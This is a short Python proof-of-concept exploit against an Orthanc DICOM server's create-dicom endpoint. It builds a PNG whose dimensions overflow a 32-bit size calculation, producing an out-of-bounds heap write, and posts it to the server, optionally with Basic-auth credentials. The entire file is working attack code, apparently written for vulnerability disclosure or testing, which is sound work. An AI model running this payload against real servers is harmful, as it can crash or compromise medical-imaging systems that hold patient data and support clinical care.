#!/usr/bin/env python3
import argparse
import base64
import binascii
import http.client
import json
import struct
import zlib


WIDTH = 65536
HEIGHT = 21846


def png_chunk(kind, data):
    return (
        struct.pack(">I", len(data)) +
        kind +
        data +
        struct.pack(">I", binascii.crc32(kind + data) & 0xffffffff)
    )


def make_png():
    ihdr = struct.pack(">IIBBBBB", WIDTH, HEIGHT, 8, 2, 0, 0, 0)
    row = b"\x00" + (b"\x41" * (WIDTH * 3))

    compressor = zlib.compressobj(9)
    compressed = []
    for _ in range(HEIGHT):
        compressed.append(compressor.compress(row))
    compressed.append(compressor.flush())

    return (
        b"\x89PNG\r\n\x1a\n" +
        png_chunk(b"IHDR", ihdr) +
        png_chunk(b"IDAT", b"".join(compressed)) +
        png_chunk(b"IEND", b"")
    )


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", default=8042, type=int)
    parser.add_argument("--path", default="/tools/create-dicom")
    parser.add_argument("--username")
    parser.add_argument("--password")
    args = parser.parse_args()

    png = make_png()
    body = json.dumps({
        "Tags": {
            "PatientName": "Crash^PNG",
            "PatientID": "PNG-OOB-POC"
        },
        "Content": "data:image/png;base64," + base64.b64encode(png).decode("ascii")
    }).encode("utf-8")

    print("PNG bytes:", len(png))
    print("JSON bytes:", len(body))
    print("Expected Orthanc allocation:", (WIDTH * 3 * HEIGHT) % (2 ** 32), "bytes")
    print("First decoded row write:", WIDTH * 3, "bytes")

    headers = {"Content-Type": "application/json"}
    if args.username is not None or args.password is not None:
        if args.username is None or args.password is None:
            raise SystemExit("--username and --password must be supplied together")
        token = base64.b64encode(("%s:%s" % (args.username, args.password)).encode("utf-8"))
        headers["Authorization"] = "Basic " + token.decode("ascii")

    conn = http.client.HTTPConnection(args.host, args.port, timeout=30)
    try:
        conn.request("POST", args.path, body=body, headers=headers)
        response = conn.getresponse()
        print("HTTP status:", response.status, response.reason)
        print(response.read(500).decode("utf-8", "replace"))
    finally:
        conn.close()


if __name__ == "__main__":
    main()
